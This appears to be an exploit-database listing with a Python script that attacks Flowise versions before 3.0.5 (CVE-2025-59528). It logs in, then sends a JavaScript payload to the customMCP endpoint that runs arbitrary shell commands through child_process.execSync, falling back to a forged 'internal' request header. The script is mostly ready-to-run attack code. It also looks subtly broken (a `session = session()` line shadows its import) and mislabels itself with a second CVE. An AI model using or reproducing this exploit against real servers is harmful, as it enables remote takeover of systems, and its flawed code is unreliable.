Exploit for 📄 Flowise 3.0.4 Remote Command Execution CVE-2025-58434 CVE-2025-59528

## https://sploitus.com/exploit?id=PACKETSTORM:211130
# Exploit Title: Flowise 3.0.4 - Remote Code Execution (RCE)
    # Date: 10/11/2025
    # Exploit Author: [nltt0] (https://github.com/nltt-br))
    # Vendor Homepage: https://flowiseai.com/
    # Software Link: https://github.com/FlowiseAI/Flowise
    # Version: < 3.0.5
    # CVE: CVE-2025-59528
    
    from requests import post, session
    from argparse import ArgumentParser
    
    banner = r"""
    _____       _                              _____ 
    /  __ \     | |                            /  ___|
    | /  \/ __ _| | __ _ _ __   __ _  ___  ___ \ `--. 
    | |    / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
    | \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
    \____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/ 
                                __/ |                 
                              |___/                  
                    
                    by nltt0
    """
    
    try:
        parser = ArgumentParser(description='CVE-2025-59528 [Flowise < 3.0.5]', usage="python CVE-2025-58434.py --email xtz@local --password Test@2025 --url http://localhost:3000 --cmd \"http://localhost:1337/`whoami`\"")
        parser.add_argument('-e', '--email', required=True, help='Registered email')
        parser.add_argument('-p', '--password', required=True)
        parser.add_argument('-u', '--url', required=True)
        parser.add_argument('-c', '--cmd', required=True)
    
        args = parser.parse_args()
        email = args.email
        password = args.password
        url = args.url
        cmd = args.cmd
    
        def login(email, url):
            session = session()
            url_format = "{}/api/v1/auth/login".format(url)
            headers = {"x-request-from": "internal", "Accept-Language": "pt-BR,pt;q=0.9", "Accept": "application/json, text/plain, */*", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Origin": "http://workflow.flow.hc", "Referer": "http://workflow.flow.hc/signin", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
            data={"email": email, "password": password}
            r = session.post(url_format, headers=headers, json=data)
            return session, r   
            
        def rce(email, url, password, cmd):
            session, status_code = login(email, url)
            url_format = "{}/api/v1/node-load-method/customMCP".format(url)
            command = f'({{x:(function(){{const cp = process.mainModule.require("child_process");cp.execSync("{cmd}");return 1;}})()}})'
    
            data = {
                "loadMethod": "listActions",
                "inputs": {
                    "mcpServerConfig": command
                }
            }
    
            r = session.post(url_format, json=data)
    
            if r.status_code == 401:
                session.headers["x-request-from"] = "internal"
                session.post(url_format, json=data)
    
            print(f"[x] Command executed [{cmd}]")    
    
        rce(email, url, password, cmd)
    
    except Exception as e:
        print('Error in {}'.format(e))